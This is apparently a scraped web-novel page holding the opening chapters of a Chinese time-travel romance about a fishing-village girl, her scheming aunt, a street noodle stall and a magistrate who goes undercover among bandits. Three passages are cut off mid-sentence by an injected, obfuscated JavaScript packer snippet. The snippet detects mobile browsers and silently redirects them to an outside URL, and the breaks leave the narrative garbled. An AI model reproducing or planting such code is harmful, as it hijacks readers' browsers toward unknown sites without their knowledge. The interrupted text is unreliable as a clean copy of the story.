《县令的渔女小厨娘(美食)》 1. 天崩开局 春寒乍暖,已是二月,清晨的小渔村,朝露未晞,海风裹挟着凉意吹拂而来。 “呜呜呜,阿姐,你醒醒啊。” 云楚沅意识清醒时,就感觉自己的身体在被摇晃,耳畔传来一阵阵抽泣声。 她费劲地掀起眼皮,映入眼帘的是坑坑洼洼的墙面,盖在身上的薄被发出一股霉味。 脑袋一阵刺痛,云楚沅断断续续接收到了许多不属于她的记忆。 原来,她这是穿越了…… 云楚沅是家住海边的赶海博主,跟着家人一起搞养殖,今早她在鱼塘巡视时,一个脚滑跌入水中。 谁能想到,这一下子就穿越到古代不知名的小渔村了。 原主与云楚沅同名同姓,爹娘前几日出海时丧生。 云楚沅刚过及笄,一时经受不住打击病倒了,家中两个年幼的弟妹六神无主,日日在床头哭泣。 “阿姐,你醒了!哥哥,快来啊,阿姐醒了!” 面黄肌瘦的小丫头跌跌撞撞地跑出了屋子。 云楚沅揉着额头,缓缓撑起身子,消化着自己穿越这件事。 “阿姐!来吃点东西。”头发蓬乱的小男孩捧着一个碗,小心翼翼地递到云楚沅的眼前。 云楚沅看着眼前双眼发红、骨瘦嶙峋的两个孩子,接过那碗不见一粒米的汤水,心里很不是滋味。 别人穿越不是达官贵人就是千金小姐,怎么轮到自己,就是家徒四壁、穷困潦倒的天崩开局。 云楚沅欲哭无泪,穿都穿了,还能怎么办,只能接受现实了。 “阿姐,你好点了吗?” 女娃哽咽的声音打断了云楚沅的思绪。 她露出一个虚弱的笑容,伸手揉了揉两个孩子的脑袋,轻声说道:“楚河,楚清,阿姐没事了,这几日辛苦你们两个照顾我了。” 云楚河咬着嘴唇:“阿姐,村里人都说你活不成了,我才不信呢!” 云楚沅心想,小弟弟,你阿姐的确是一命呜呼了。 不过她既然来到这里,继承了这具身体,就一定会替原身照顾好家人。 云楚沅紧了紧身上缝满补丁、捉襟见肘的粗布麻衣,拖着无力的身体从床上下来。 打量了一圈周围的环境,她再次对这个家的贫穷叹为观止。 土柸砌成墙上不断有墙皮掉落,桌椅床榻破败不堪,不像是能住人的样子。 破旧的漏风木门,轻轻一推,发出“吱哟吱哟”的声响。 云楚沅经过萧条的院子,走进简陋的厨房去刷碗,一点油水也没有的裂口陶碗,拿水一冲就干净了。 她逡巡了一圈,打开橱柜,掀开米缸,果然不出所料,空无一物。 云楚沅默默叹了口气,走了出去,静静思索着接下来该怎么办。 紧挨着厨房土墙后传来窸窸窣窣的响声,吸引了云楚沅的注意。 她轻手轻脚地靠了过去,贴到墙上,竟听到两个妇人的密谋。 “陈媒婆,你找我就对了,我那个外甥女长得水灵,为人老实,配给徐公子做妾,那是她几辈子修来的福气啊。” 一道尖锐的女声响起,即便压低了声音,也叫云楚沅听得清清楚楚,说话之人分明是原身的舅母。 “哼,最好像你说的那样,徐家纳妾可是要找好生养的,徐夫人等着抱金孙呢。呐,这是一两银子,你先收着,事办成了,少不了你的好处。” “哎哟,我的老姐姐呀,我还能框你不成?”谄媚的妇人瞬间喜笑颜开。 听闻两人的对话,云楚沅瞬间后背发凉。 这个舅母尖酸刻薄,向来爱占小便宜,云家夫妇刚刚过世,她就打起来他们长女的主意。 云楚沅用脚趾头想,都知道这老虔婆想干什么。 无非是像把她卖了换钱,再借着亲戚的名义,堂而皇之地霸占她家的房子。 呸,这小算盘打的真响,云楚沅暗暗啐了一口。 要是原先胆小怯懦的云楚沅还活着,兴许就会被舅母的三言两语蒙骗。 可如今,在这的是她云楚沅,她是绝不会让这恶毒舅母的奸计得逞。 眼珠子一转,云楚沅悄悄进了里屋,将云楚河叫了过来,“阿弟,你去帮我办件事。” 她凑近云楚河的耳畔,小声嘀咕了一番。 云楚河面色严肃,郑重地点了点头。 云楚沅往脸上撒了点水,溜进了屋内,躺到床榻上静静等待。 “砰”的一声踹门声响起,大嗓门的妇人高声喊道:“沅儿,舅母来看你了。” 云楚沅闭紧双眼,咬牙切齿地想,她家的门本来就不结实,踹坏了怎么办? “哎哟,我们沅儿啊,这是怎么了?” 紧接着房门被推开,讨人厌的声音来到床前。 云楚沅装作被惊醒的样子,缓缓睁开双眼。 “咳咳,舅母,您怎么来了?我发热了,传染给您可不好。” 云楚沅面色苍白,捂着口鼻不停咳嗽,额头挂着水珠,看起来一副病入膏肓的模样,我见犹怜。 陈媒婆挑剔的眼神来回扫视着坐起身来的少女,倒是有几分姿色,不过这身子骨看着可不大好,仿佛马上就要香消玉殒了。 “舅母,这位是?”云楚沅疑惑地看向眼前陌生的妇人。 “沅儿啊,我这次来,可是有好事要说与你听的。” 这位舅母眼神泛着精光,装出一副和蔼可亲的样子,蛊惑道:“沅儿啊,你爹娘没了,你一个人怎么照顾楚河跟楚清啊。舅母请人为你说了门好亲事,保准叫你后半辈子衣食无忧。” 云楚沅心里冷笑,要真是好亲事还能轮得到我?你早把自己的女儿嫁过去了。 “舅母,阿沅不求荣华富贵,只求觅得一个踏实肯干的如意郎君。别的不说,我将来的相公得像我爹爹一样老实,没有花花肠子。”云楚沅羞涩一笑。 妇人脸色一变,继续劝道:“沅儿啊,老实又不能当饭吃,银子才是实打实的,徐家可是镇上有名的富绅,你虽是做妾室,那也是去享福的呀。” “做妾?我怎能如此轻贱自己呢?倘若我爹娘泉下有知,定会死不瞑目的,嘤嘤嘤。” 云楚沅坐在床边潸然泪下,她的身子摇摇欲坠,一下子摔倒了地上。 “舅母,我们什么仇什么怨?你要这般作践我?枉我还以为你和舅舅是我仅剩的亲眷,你却要将我推入火坑!” 面对云楚沅的控诉,妇人面色铁青,她怎会承认自己有歹心,她揽住云楚沅的肩膀,想将她扶起来。 熟料云楚沅不为所动,竟赖在地上不起来了。 “舅母,你到底收了别人多少好处,才想将我卖掉,你难道不会良心不安吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950547|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等舅母反驳,她嚎啕大哭起来:“呜哇,爹,娘,你们怎么不把我一起带走啊,女儿被人欺负都没有人为我出头。” “沅儿,谁欺负你了!” 房门被推开,门外围着许多村民,为首的正是小渔村的村长。 云楚河从人堆里挤了进来,一下子扑到云楚沅的跟前,痛哭流涕道:“阿姐,我把村长喊来了,一定不会叫你被舅母卖掉!” 云楚沅在众人看不到的角度,向他使了个“干的漂亮”的眼神。 她吩咐云楚河去把村长请来,一路上大声哭喊,最好搞得人尽皆知,她是打定主意要把这家丑扬出去。 “村长,您一定要救救我啊,我那舅母用一两银子将我卖给人做小妾,这是要逼死我啊!”云楚沅继续哭天抢地,作出万念俱灰的样子。 “你胡说什么!我分明在给你说亲,哪里是卖!”妇人面容狰狞。 云楚沅眼疾手快地从舅妈的腰间掏出一块碎银子,“我亲眼所见,这就是证据。你们买卖妇女,就算告到衙门,也是我占理!” 妇人未曾想到云楚沅早就偷听到她和陈媒婆的对话,先前与她虚与委蛇,只不过是在拖延时间,待小渔村的村民们赶来,当众揭穿她。 她指着云楚沅的鼻子破口大骂:“你这没爹没娘的小贱人,敢算计我?” 村长怒目圆瞪:“王桂芬,我们村不欢迎你,哪来的回哪去!” 云楚沅哭哭啼啼地说道:“好人不长命,祸害遗千年。老天真是不长眼啊,我爹娘可是救了许多条人命的大善人,要是知晓我被欺辱,岂非抱恨黄泉?” 她话里有话,旨在暗示村民,云家夫妇乃是为救同村的青年们而丢了性命。 那些承蒙恩惠的村民本就对云家三姐弟心怀愧疚,一听这话,自然愤怒难忍。 “对啊,老云夫妻俩过世了,大伙儿理当照顾他们的孩子,怎么能让他们被人欺负了去。” “就是,这隔壁村的婆娘凭什么在我们小渔村耀武扬威!” “哼,这种丧尽天良的泼皮就是欠教训,敢来这儿撒野,我叫你好看!” 一位性子泼辣的婶子拿起院子里的扫帚,就往王桂芬和陈媒婆的身上招呼。 其他人有样学样,纷纷从家中取来趁手的棍棒,将两人撵了出去。 云楚沅幸灾乐祸地看着舅母狼狈逃窜的背影,趁乱在她身上拧了两下。 “啊!你们小渔村的人当真是不讲理。”舅母嗷嗷叫着,抱头鼠窜。 “你们这群刁民,给我等着!”陈媒婆发丝凌乱,心中恼火,她就不该来这一趟,平白无故地遭受了无妄之灾。 云楚沅摩挲着掌心的银子,满意地点头,心安理得地收下了这笔飞来横财。 村民们安慰了云楚沅两句,相继离开了云家,只余村长夫人留了下来。 “楚沅,你放心吧,那贼婆娘再来,我们会替你做主的。你也不容易,还有欠债要还,村里人都是通情达理的,愿意等你慢慢还。” 云楚沅动作一僵,有种不祥的预感,她声音颤抖地发问:“什么欠债?” 村长夫人面露讶异:“楚沅,你不知道吗?你爹生前盘算着自己做点营生,借钱打造了一条小船,还承包了村里的废弃池塘。” 云楚沅只觉晴天霹雳,这就是所谓的祸不单行吗? 2. 对簿公堂 俗话说,靠山吃山,靠海吃海。 小渔村的人皆是渔民,村民们分批出海捕捞,以卖鱼虾为生。 云楚沅怀着沉重的心情,出门打探了一番,她爹请人新打造的木船出海时被海浪打翻,破损严重。 村子里废弃多年的池塘,堆积了数不清的淤泥,水面飘满翻白眼的死鱼,散发着一股酸臭味。 云楚沅明白当务之急就是搞钱,待她将木船修好,可以出海捕捞,鱼塘清理干净后还能搞养殖。 问题是做这些事情都需要本钱,如今她的手里只有一两银子,实在是不顶用。 她心念一动,回家取了个木桶来到海边,她想试一试自己的特殊体质有没有一同穿越过来。 云楚沅自小在海边玩耍时就发现,她特别受小鱼小虾的欢迎,每次赶海都能满载而归,家里的养殖生意交到她手上后,海鲜更是被养得生龙活虎。 踩在海滩的细沙上,脚下发出“沙沙”的声响,海浪拍打在礁石上,将石头表面冲刷得十分光滑。 远处的海面波光粼粼,与湛蓝的天空交相辉映,二月初的清晨,正是退小潮之际。 海水退却后的岸边,留下不少小水洼,偶尔有几条搁浅的小黄鱼蹦跶不停,卧沙的猫眼螺鼓起一个个小包,还有吸附在贝壳中的八爪鱼张牙舞爪。 云楚沅一手拿铲子,一手提桶,眼疾手快地将目光所及之处的所有海鲜一网打尽。 沿着海岸线走,水中的鱼儿争相跳出水面,银白色的鳞片吸引着云楚沅的注意,竟有螃蟹挥舞着双钳,主动爬进她的木桶。 云楚沅笑裂了嘴,看来她的金手指还在,难道这冥冥之中自有天意? 收获颇丰的云楚沅哼着小曲走回家中,今日的午饭算是有着落了。 她将几条体型大一些的黄花鱼丢进水缸里养着,剩余的小鱼、螃蟹和八爪鱼直接水煮,用厨房见底的酱油做蘸料。 “楚河、楚清,出来吃饭吧。” 主屋的门“吱呦”一声被推开,两个孩子走了出来。 云家小院只有三间泥胚房,主屋和侧屋,外加一间灶房。 原先主屋住着云氏夫妇,侧屋挤着三姐弟,现如今爹娘去世了,云楚沅就安排弟弟妹妹住进了面积大一点的主屋。 这对双胞胎将将六岁,还不到避嫌的年纪。 “阿姐,晌午过后,我打算跟着村长他们一起出海,学着捞鱼。”吃着饭的云楚河主动开口。 经历双亲离世的男孩隐隐有了立起来的念头,尤其昨日亲眼目睹阿姐的遭遇,他心里发誓要做顶天立地的男子汉,保护好自己的家人。 “阿姐,我要去找隔壁的春香姐学针线活。”云楚清不甘示弱地说道,她一个小丫头也生出了补贴家用的心思。 云楚沅看着他们两个认真的眼神,很是欣慰,“好,既然你们有成算,阿姐支持你们。家里没粮食了,用完饭后,我准备进城一趟。” 小渔村隶属于临海县,是地理偏僻的三不管地带,朝廷鞭长莫及。 被派遣到此地的官员相当于变相流放,历任县令勾结富绅搜刮民脂民膏,百姓们怨声载道。 云楚沅行走在临海县的大街上,发现这里百姓们的精神面貌萎靡,商铺生意也不甚好。 从原主的记忆可知,这座小县城经济落后,时不时还会有流寇出没,除了地主富绅,普通平民的日子并不好过。 云楚沅从徐记粮铺卖了些米面,出门时不小心撞上了一名男子。 不等她道歉,一道轻佻的声音响起:“哟,这不是云家小娘子吗?还没过门,就迫不及待对小爷投怀送抱了?” 云楚沅抬头一看,说话之人是一位油头粉面的纨绔子弟,他身后跟着几名耀武扬威的小厮。 “公子,我不认识你,还请自重!” 云楚沅从男子的话中大概判断出来者何人,她就更不想与这样下三滥之人扯上关系。 “啧啧啧,你的好舅母收了我的聘礼,你已经算是我的人了。” 徐公子轻摇着手中的折扇,伸出手指挑了下云楚沅的下巴,言行无状,举止粗俗。 云楚沅柳眉轻蹙,她那无赖舅母又折腾什么幺蛾子呢,难道是还不死心? “我不知道你在说什么,谁收了公子的聘礼您就去找谁,与小女子无关。”云楚沅面色冷淡,转身欲走。 熟料徐公子一把扯住了她的衣袖,阻止了她。 “诶,小娘子别走呀,瞧瞧看吧,我可没有说谎话。” 徐公子从怀里取出一张纸扬了扬,云楚沅抢过来一看,竟是一份纳妾的彩礼单子,上头列举的财物价值好几十两,她舅母王桂芬的大名歪歪扭扭写在上面,还盖着一个血红指印。 云楚沅气得浑身发抖,好你个王桂芬,贼心不死,待她脱身,定要报仇。 徐公子和他身边的下人将她团团围住,拖进附近的小巷。 周围的顾客作鸟兽状散去,显然是不想多管闲事,得罪这位临海县大名鼎鼎的徐家少爷。 云楚沅大感不妙,她知晓这次是在劫难逃了。 正当她一边奋力抵抗眼前之人的动手动脚,一边冷静思考着脱身之法时,不远处传来一道清越的男声。 “光天化日,朗朗乾坤,尔等宵小作甚?” 云楚沅闻言望去,只见一位玉树临风、身姿挺拔的俊秀书生站在巷口,正气凛然,气度不凡。 “你是何人?也不打听打听我徐家在这临海县什么地位,就算天王老子来了,都管不了我。”徐公子气焰嚣张地嚷嚷道。 剑眉星目的书生面不改色:“哼,目无王法,胆敢强抢民女,今日在下便替天行道。” “唰”的一声,来人抽出腰间佩剑,修长的身形一闪,直直冲向徐公子。 徐公子大骇,万万想不到在这小小临海县还有敢对他拔剑之人,他将身边的下人推了出去,大喊道:“快保护我!” 书生身形消瘦,剑法却相当凌厉,一招一式直击要害。 徐家的小厮举起随身携带的棍棒慌忙反击,为首之人只觉手中一轻,棍子已被挑落,其他下人见状,一拥而上,试图仗着人多势众拿下这不知天高地厚的小子。 书生丝毫不惧,轻巧避过迎面袭来的木棍,长剑如同灵蛇流窜而出,打得他们节节退败,纷纷倒地,哀嚎不止。 徐公子气得面色通红:“废物!你们这群饭桶,连这个小书生都治不住,我养你们有何用!”说罢,他慌不择路地从巷尾溜走了,临走前还不忘留下一句狠话。 “臭小子,你给我等着,待我回去告诉我爹,他绝对饶不了你!” 云楚沅双眼放光地盯着眼前这位神色清冷的书生,心底不由感叹,这就是英雄救美的滋味吗?感觉还不赖! 她平日里见惯了海边风吹日晒的糙汉,乍一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950548|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到如此宛如嫡仙的翩翩公子,难免恍惚。 “姑娘,你没事吧!姑娘!” 眼前晃动的指节分明的手背,堪堪唤醒云楚沅的神志,她停止犯花痴,脸颊通红地轻声道谢:“多谢公子相救,不知公子姓甚名谁?家住何处?日后小女子定会报答恩公。” 书生不以为意地说道:“无碍便好,在下不过是路见不平拔刀相助,担不得一句恩公,姑娘不必挂怀。倘若日后再遇麻烦,可到县衙求助,告辞。” 云楚沅望着书生转身离开时被风吹起的衣摆,久久不能回神。 回到家中的云楚沅越想越气,她当即找上村长,将今日在县城所遇之事道了出来,村长听闻勃然大怒,召集村民决定为她讨回公道。 云楚沅略一思索,直接带着村民去县衙,状告舅母王桂芬买卖妇女。 威严庄重的县衙大堂,云楚沅瞧见高坐上位的眼熟书生时,略微晃神,想不到临海县新来的县令就是她的救命恩人。 她心中大定,既然县太爷是此人,定会秉公执法。 裴昱臣也略显惊诧,没想到刚救下的女子,这么快就再次相遇。 “堂下何人,所告何事?”年轻县令板着脸端坐,气势十足。 衣着朴素的云楚沅眼神决然道:“回大人,小女子今日冒死前来,是要状告我那恶毒舅母!” 女子的声音带着哭腔,却又透着倔强,在这寂静的大堂里传开。 云楚沅的眼中蓄满泪水,诉说自己的悲惨遭遇:“小女子名唤云楚沅,小渔村人士,我爹娘刚过世,我那狠心舅母上门来欲将我卖给徐家做妾,还望大人为小女子做主。” 她攥紧衣角,忍不住掩面痛哭,周围的差役都为之动容。 县令轻拍一下惊堂木,沉声说道:“云氏,你可有人证物证?” 云楚沅从怀里掏出印有王桂芬手印的彩礼单,高声说道:“大人,此乃物证,我们村所有人皆是人证。” 裴昱臣扫了一眼差役呈上来的纸,传唤候在堂外的小渔村村民,又下令搜查王桂芬的家是否有来历不明的财物。 两刻钟后,衙役押着王桂芬来到公堂,手里提着一包金银珠宝,正好与彩礼单上的物品一一对应。 王桂芬的脸上不见丝毫愧疚之色,跪在地上仍旧嘴硬:“哼,你这死丫头,竟敢跑到这公堂之上污蔑我。我所做之事皆是为了你好,若不是怜你孤苦无依,我又怎会操这份闲心,想方设法为你寻个好归宿。” 云楚沅对她的强词夺理深感厌恶,差点忍不住扑上去赏她两个耳光。 “肃静!” 裴昱臣又拍一下惊堂木,宣判道:“罪妇王氏,买卖良家妇女未遂,证据确凿,按我朝律例,卖人为妻妾者徒三年。” 待凶神恶煞的衙役将跪在地上的王桂芬拽起时,她才后知后觉地面露惶恐,无知妇人并不知晓将自家外甥女嫁人还会违法。 王桂芬慌了神,不断磕头,连声哀求:“大人,大人,我知错了,饶了我吧!” 她被拖行至云楚沅身边时,一把捉住云楚沅的手腕,仿佛抓住最后一根救命稻草,“沅儿,沅儿,舅母错了,你快为我求求情,我不想下大狱啊。” 云楚沅冷笑一声,用力将舅母的手甩开,此等毒妇还是在牢里好好反省吧! 这桩糟心事落下帷幕,走出县衙大门的云楚沅神清气爽,她可算是出了一口恶气。 3. 海鲜面 落日熔岩,黄昏时的小渔村,宛如蒙上了一层金红纱衣。 微风轻拂过的海面泛起层层涟漪,带来海水的咸湿气和淡淡的鱼腥味。 归来的渔船满载收获,鱼篓里鱼虾跳跃,皮肤黝黑的渔夫们洋溢着笑容,抛锚靠岸,卸载货物。 孩童们赤足奔跑在沙滩上,清脆悦耳的笑声此起彼伏,他们提着竹篓,挑捡着贝壳。 海岸边错落有致的房屋,升起袅袅青烟,渔家女正在灶台前忙碌着,准备吃食,等待归家的男人。 夜幕悄然降临,小渔村每家每户渐渐亮起灯火,一家老小围坐桌前享用晚膳,欢声笑语连绵不断。 云家小院中,虽不如别家热闹,却也透着温馨。 “阿姐,这是我今日出海的收获。” 云楚河走进厨房,将背上的竹篓放到地上,云楚沅凑近一看,有三条不大不小的鱼,虽不多,却是孩子头一回捕捞,理应给予鼓励。 “楚河,辛苦了,去洗洗手,阿姐做了香喷喷的海鲜面。” “阿姐,你瞧,我能自己缝补衣裳了。”云楚清跑进来,举起手中的旧衣,一脸骄傲地看向云楚沅。 “楚清也很厉害。” 补丁四周的针脚粗糙,但女孩的手指上布满了小红点,云楚沅又怎会泼她冷水呢。 端上桌的海鲜面香气四溢,红彤彤的鲜虾紧实饱满,裂开口的蛤蜊肉质肥美,雪白诱人的鱼片口感爽滑,吸饱汤汁的手擀面劲道弹牙,每一口都能品尝到海鲜的鲜美。 三人大口大口地吃下一碗海鲜面,又动作一致地又盛了一碗,在这凉风阵阵的晚间,暖胃又舒心。 “阿姐,你做的面真好吃。”云楚河舔了舔嘴角,意犹未尽地说道。 “嗯,太香了!”云楚清的小脑袋把头埋在碗里,像是一只拱食的小猪,惹得云楚沅止不住地发笑。 云楚沅的厨艺高超,对怎样处理海鲜也十分有经验,即便古代的调味料稀缺,凭借她的好手艺,也能惊艳没吃过珍馐美馔的普通人。 “你们说我去县城摆摊卖面怎么样?” 云楚河听这话思索了一会,给予了肯定的回答,“我觉得行,凭阿姐你的手艺,绝对能赚钱。” 翌日破晓,天色尚未大亮。 云楚沅早早起床准备今日要用到的食材,楚河和楚清听到院子里的声响,揉着惺忪的睡眼,也跟着帮忙。 泡了一夜的蛤蜊已将沙子吐净,活虾去虾头去虾线,开膛破肚的肥鱼被片成薄如蝉翼的鱼片。 热油下葱姜蒜爆香,加入虾头煸炒,最后倒入由虾壳鱼骨熬制而成的奶白清汤,用盐调味后,海鲜浇头就做好了。 和好的面团醒发过后,擀成面片折叠起来,再用刀切成细长的面条。 云楚沅从院子里的角落推出一辆破旧的小推车,将食材、铁锅、碳桶全部装上去,海鲜面要现做才好吃。 三姐弟整装待发,趁着朦胧的天色上路了。 小渔村距离临海县不算太远,他们到集市时,熙熙攘攘的街道已经传来小贩的吆喝声。 这个时辰的早市卖菜的居多。 云楚沅带领弟妹将小摊摆好,把铁锅架到碳桶上,煮了一锅热水,下入的面条在水中沸腾翻滚。 捞出面条,淋上一勺海鲜浇头,撒一把葱花,云楚沅将这碗色香味俱全的海鲜面摆放到两个弟妹面前,示意他们快吃。 云楚河率先领悟她的意思,拿起筷子吃的津津有味,看得周围的人不住咽口水。 有人按捺不住,上前一步询问道:“小娘子,你这面怎么卖?” “十二文一碗的海鲜面,保准您吃了还想吃。” “给我来一碗。” 云楚沅手脚麻利地煮面条、淋浇头,一套动作行云流水,吸引了不少客人。 待到晌午,云楚沅准备的食材已是所剩无几,两个孩子数着铜币喜笑颜开。 在他们打算收摊之际,一个意想不到的人走了过来。 “云姑娘,面可还有卖?” 云楚沅闻声抬头,竟是新任县令大驾光临。 “恩公,稍等,我这就为你做。” 温润如玉的男子和煦一笑:“云姑娘,在下姓裴,名昱臣,不必叫我恩公,除暴安良乃我这为官之人职责所在。” 云楚沅朝着这位文绉绉的小书生轻笑:“好的,裴县令。不过衙门不管饭吗?怎要劳烦我们县令大人亲自出来买吃食?” 裴昱臣没好意思说自己挑食的毛病犯了,县衙的伙夫做的海鲜腥味重,他吃不惯。 “路过此地,被香味吸引,遂过来瞧瞧。” 云楚沅将做好的海鲜面递给他,“那裴大人有口福了,别人都对我的手艺赞不绝口。” 裴昱臣站在一旁细细品尝,这人吃东西都这么赏心悦目,不愧是文雅之人。 “这海鲜面甚是美味,在下吃好了,多谢云姑娘。”裴昱臣放下碗筷,拱手行了一礼,心满意足地离开了。 云楚沅摇头失笑,这人总是一本正经,时刻遵循繁文缛节,年纪轻轻,却端着一副小古板的模样,甚是无趣。 卖了几日海鲜面,云楚沅又推出了海鲜拌面,海鲜用豆酱翻炒,味道醇厚,别有一番滋味。 临海县出了位擅长做面食的小娘子一事,传得沸沸扬扬,自然也瞒不过徐公子的耳朵。 他这几日正在家中怄气,上回在那名书生手上吃瘪可叫他好一顿大发雷霆,没曾想他告诉父亲之后,父亲竟然叫他忍一忍。 徐公子派人打探一番此人来历,才得知他是新上任的临海县县令。 他们徐家能在临海县立足,少不了每年往上孝敬,历来的县令没少收他们徐家的好处。 倒是这新来的裴县令油盐不进,不买他们徐家的账,徐家老爷已经私下联络了临海县的各位豪绅,准备给姓裴的使使绊子。 鲜有人知,他们徐家和城外臭名昭著的黑水寨有姻亲关系,他爹曾把一个庶女送给黑水寨大当家做夫人。 临海县附近的官道经常有土匪抢劫,也是这个小地方发展不起来的原因之一。 裴昱臣新官上任三把火,盯准了黑水寨打算一举铲除,他们徐家可不会坐以待毙。 徐少爷心里认定,裴昱臣和云家小娘子有一腿,那日才会为她出头。 既然他暂时动不了裴昱臣,那先拿云家丫头开刀,也不无不可。 这头的云楚沅还不知自己被人记恨上了,她这几日心情尚佳,攒下的银两足够她把她爹留下的破船修好。 她带着云楚河出海了一趟,撒下铺天盖地的渔网后,静静等待,拉紧绳索收网时非常吃力。 果然,她的特殊体质发挥了大作用,密密麻麻的银鱼在网中跳动,还有数不清的鲳鱼、鲫鱼和鲈鱼夹杂其中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950549|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的云楚河看的目瞪口呆,就算是经验丰富的老手来,都不一定有如此收获,他不禁向阿姐投去敬佩的目光。 云楚沅对此习以为常,招呼着云楚河搭把手,她盘算着这次捕捞的鱼能卖多少钱,够不够她在县里盘下一间铺子。 没错,云楚沅的下一个目标就是将小摊子升级成食肆,这样才能将她的好厨艺发挥得淋漓尽致。 可还没等云楚沅攒够租赁铺子的银钱,她就在进城的路上遭遇了意外。 这日天朗气清,云楚河和云楚清留在小渔村,她独自一人出来采买粮食。 云楚沅走在小渔村通往临海县的小路上,突然,远处传来一阵嘈杂的马蹄声和叫嚷声,她心头一紧,连忙躲在一棵大树后面,悄悄探头望去。 只见一群凶神恶煞的土匪骑马飞奔而来,他们身形魁梧,脸带刀疤,眼神凶狠,手里提着的长刀在日光下闪着寒光。 云楚沅缩着身体,握紧手心,她的心脏剧烈地跳动,大气也不敢出。 土匪们行至附近,停了下来,为首那位满脸络腮胡的大汉,勒住缰绳高声喝道:“弟兄们,咱们可好些日子没遇上肥羊了,今日一定要干票大的!” 众人纷纷附和,四散着藏匿起来,准备埋伏在此地打劫过路之人。 就在这时,一个眼尖的土匪好像察觉到了什么,他指向云楚沅的藏身之处喊道:“大哥,那儿好像有人!” 话音刚落,众人的目光都聚焦过来,云楚沅瞬间感觉如芒在背,冷汗顺着额角流淌下来。 彪形大汉翻身下马,快步走到树旁,一把将人揪了出来,周围的土匪迅速围靠过来,刀剑出鞘,寒光逼人。 “哟,哪来的这么标致的小娘子?” 云楚沅强装镇定,颤声道:“各位好汉,我身上没什么值钱的东西,还望高抬贵手,放我一条生路。” 土匪头子听闻,发出一阵嗤笑:“哈哈,没有银钱,但你有姿色啊。来人,把她绑起来,带回我们黑水寨!” 云楚沅的心里“咯噔”一声,没想到这群土匪不劫财而是劫色,也不知这次她还能有好运脱离虎口吗。 她哪里清楚这群土匪受了徐家公子的指示,就是冲她来的。 云楚沅被关进了黑水寨的柴房,角落里缩着一位身着粉衣的女子。 她叹了口气,对这名女子升起了惺惺相惜之感,“姑娘,你是怎么被抓进来的?” 粉衣女子抬起头来,云楚沅看清她的真容,傻眼了,这姑娘怎么和裴昱臣长得那么像? “裴……裴大人?”云楚沅小心翼翼地出声问道。 画着淡妆、面容精致的女子矜持地点了点头,“云姑娘,好巧。” 云楚沅嘴角一抽,看不出来,这小县令还有这等癖好。 裴昱臣看到云楚沅一言难尽的样子,就知道她误会了。 “在下不过是为除流寇,以身犯险。” 云楚沅恍然大悟,原来裴大人是为公务献身,也许她的好运来了,她可以跟着裴昱臣离开黑水寨。 “裴大人,您有什么计划?小女子定会竭尽全力助您一臂之力!” 裴昱臣看着眼前女子笑容满面的样子,朝她勾了勾手指,“俯过身来,我说与你听。” 云楚沅赶忙凑过去侧耳倾听,双眼亮晶晶的,时不时点头应和。 不愧是读书人,计划就是周全。 4. 黑水寨 夜幕降临,坐落在深山老林里的山寨喧闹起来,一群彪形大汉围坐在篝火旁,举止粗狂地喝着酒,满嘴污言秽语地调笑着。 “老大,你艳福不浅啊,今儿一下子抓来两个小美人。”贼眉鼠眼的小喽啰朝着他们黑水寨的大当家挤眉弄眼。 对面之人脸上有一道长疤,从眉梢延伸至嘴角,宛如一条蜈蚣盘踞于此,络腮胡大汉面容狰狞、凶神恶煞,仰头大笑时满是匪气。 “哈哈哈,等我和美人度过洞房花烛夜,就把她们赏给你们。” 其余土匪不怀好意地哄笑起来,他们这群亡命之徒烧杀抢掠、无恶不作,女人在他们眼中就如同银子一般,想用就用,想赠人也不过一句话的事。 “老大今夜想先享用哪位美人?” 大当家捋着络腮胡,醉眼朦胧地说道:“去把她们带上来,老子亲自挑。” 手下人连忙去柴房将云楚沅和裴昱臣带了上来。 男扮女装的裴昱臣很是别扭,走路都刻意收敛力度,轻迈莲步,垂在身侧的双手不自在地捏着裙摆,他总觉得宽松的衣裳会将自己绊倒。 走在后头的云楚沅叹为观止,这人身段柔美,瞧着比她这个真正的女子还要还淑女呀。 粗暴蛮横的土匪头子一把扯过裴昱臣,大掌揽住他纤细的腰肢,一张口喷出满满的酒气,“小……小娘子闭月羞花,冰肌玉骨,真乃绝色,跟了我不会亏待你的。” 裴昱臣额角青筋直跳,浑身僵硬,极力忍耐着给他一拳的冲动,低着头装作羞涩的模样,平日里清朗的声音刻意压低,细声细语道:“大当家只要对奴家好,奴家定全心全意地侍奉您。” “噗嗤!” 云楚沅实在没忍住,笑喷出声,一下子就吸引了众人的目光。 大当家松开裴昱臣,摇摇晃晃地站了起来,指着云楚沅说道:“笑什么笑?你莫不是羡慕了?” 